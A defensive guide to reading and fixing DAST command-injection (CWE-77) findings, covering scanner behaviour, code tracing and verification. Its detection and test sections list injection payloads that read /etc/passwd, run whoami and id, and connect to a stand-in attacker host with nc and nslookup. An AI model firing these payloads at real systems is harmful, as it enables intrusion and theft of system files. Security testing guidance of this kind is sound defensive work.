CWE-77: Command Injection (Improper Neutralization)
Overview
This guidance helps you interpret and remediate findings from DAST (Dynamic Application Security Testing) tools. The scanner detected that the application accepted user input containing shell metacharacters in parameters used to construct operating system commands, allowing command injection through improper neutralization. DAST tools identify this by:
Detection Methods:
- Injecting command separators: semicolon (
;), pipe (|), ampersand (&), double ampersand (&&), double pipe (||) - Testing command substitution: backticks (
`whoami`), dollar-parenthesis ($(id),$(cat /etc/passwd)) - Submitting newline injection: URL-encoded newlines (
%0a,%0d) to chain commands - Testing background execution: trailing ampersands (
command &) to run processes asynchronously - Time-based detection: injecting
sleep 10orping -n 10 127.0.0.1and measuring response delays - Out-of-band detection: injecting DNS lookups (
nslookup attacker.com) or HTTP callbacks monitored by scanner
HTTP Evidence:
- Response bodies containing command output (username from
whoami, file content fromcat) - Error messages revealing shell execution ("sh: command not found", "bash: syntax error")
- Response timing delays indicating successful
sleeporpinginjection - DNS queries to scanner-controlled domains (detected by Burp Collaborator, ZAP callback service)
- Different HTTP status codes when valid vs. invalid commands are injected
- Stack traces showing process execution functions (
subprocess,exec,Runtime.exec)
Scanner Behavior: OWASP ZAP (Command Injection rules 90020, 90018) and PortSwigger Burp Suite systematically test command metacharacters across parameters. They inject time-delay payloads first (blind detection), then direct output extraction. Advanced detection uses Collaborator for out-of-band verification when responses don't reveal execution directly.
Analyzing the Dynamic Scan Result
What the DAST Scanner Found
When reviewing your security scan results, you'll see:
HTTP Request Details
- URL and endpoint that triggered the finding
- HTTP method (GET, POST, etc.)
- Query parameters or form data with test payloads
- Request headers and body content
HTTP Response Evidence
- Response showing the vulnerability manifestation
- Evidence of improper handling or injection
- Runtime behavior indicators
Attack Vector
- Which parameter or input is vulnerable
- Type of exploitation possible
- Context where the vulnerability appears
Mapping DAST Findings to Source Code
Find the Vulnerable Endpoint
Use the HTTP request URL to locate the code:
# Search for the URL path in your codebase
grep -r "/ping" src/
grep -r "/dns" src/
grep -r "/network" src/
grep -r "/tools" src/
grep -r "route.*ping" src/
Locate the Route Handler
Common patterns to search for:
- Python Flask/Django:
@app.route('/ping'),path('tools/', ...) - Node.js Express:
app.get('/ping', ...),router.get('/dns', ...) - Java Spring:
@GetMapping("/ping"),@RequestMapping("/network") - ASP.NET:
[Route("ping")],[HttpGet("dns")] - PHP:
$_GET['host'],$_GET['ip']
Find the Parameter Handling
Search for the vulnerable parameter name:
# Find where the parameter is accessed
grep -r "request.args.get('host')" src/ # Python Flask
grep -r "req.query.host" src/ # Node.js
grep -r "@RequestParam.*host" src/ # Java Spring
grep -r "Request.QueryString['ip']" src/ # ASP.NET
grep -r "$_GET['host']" src/ # PHP
Trace to Vulnerable Operation
Look for where the parameter is used in:
- Network utilities:
ping,nslookup,dig,traceroute,nmap - System commands: Any shell execution with user input
- Process invocation:
Runtime.exec(),subprocess,child_process.exec() - Shell interpolation: Commands built with string concatenation
- Script execution: Passing parameters to shell scripts
Remediation
Core principle: Never allow untrusted input to influence shell command structure; avoid shell execution entirely and use parameterized process APIs where input stays a single argument.
→ For comprehensive remediation guidance, see Static CWE-77 Guidance
Language-Specific Guidance
The static guidance provides detailed remediation steps for many languages. If you need language-specific examples:
Verification and Follow-Up Testing
After applying the fix:
Reproduce the Vulnerability
# Use curl to test command injection
curl "http://localhost:3000/ping?host=8.8.8.8; whoami"
curl "http://localhost:3000/dns?domain=example.com|cat /etc/passwd"
# Or use browser DevTools Network tab to copy as cURL
Verify the Fix
- Confirm proper use of parameterized execution (no shell)
- Verify no shell is invoked and inputs are allowlist-validated for the expected format (e.g., IP/hostname)
- Check allowlist validation for expected input patterns
- Ensure error messages don't leak system information
Test Edge Cases
# Command chaining
/ping?host=8.8.8.8; ls -la
/ping?host=8.8.8.8 && cat /etc/passwd
/ping?host=8.8.8.8 | whoami
# Command substitution
/ping?host=$(cat /etc/passwd)
/ping?host=`id`
# Newline injection
/ping?host=8.8.8.8%0Als%20-la
# Ampersand for background
/ping?host=8.8.8.8 & nc attacker.com 4444 &
# Or use browser DevTools Network tab to copy as cURL
Re-run DAST Scanner
Run your dynamic scanner again on the fixed endpoint to confirm remediation.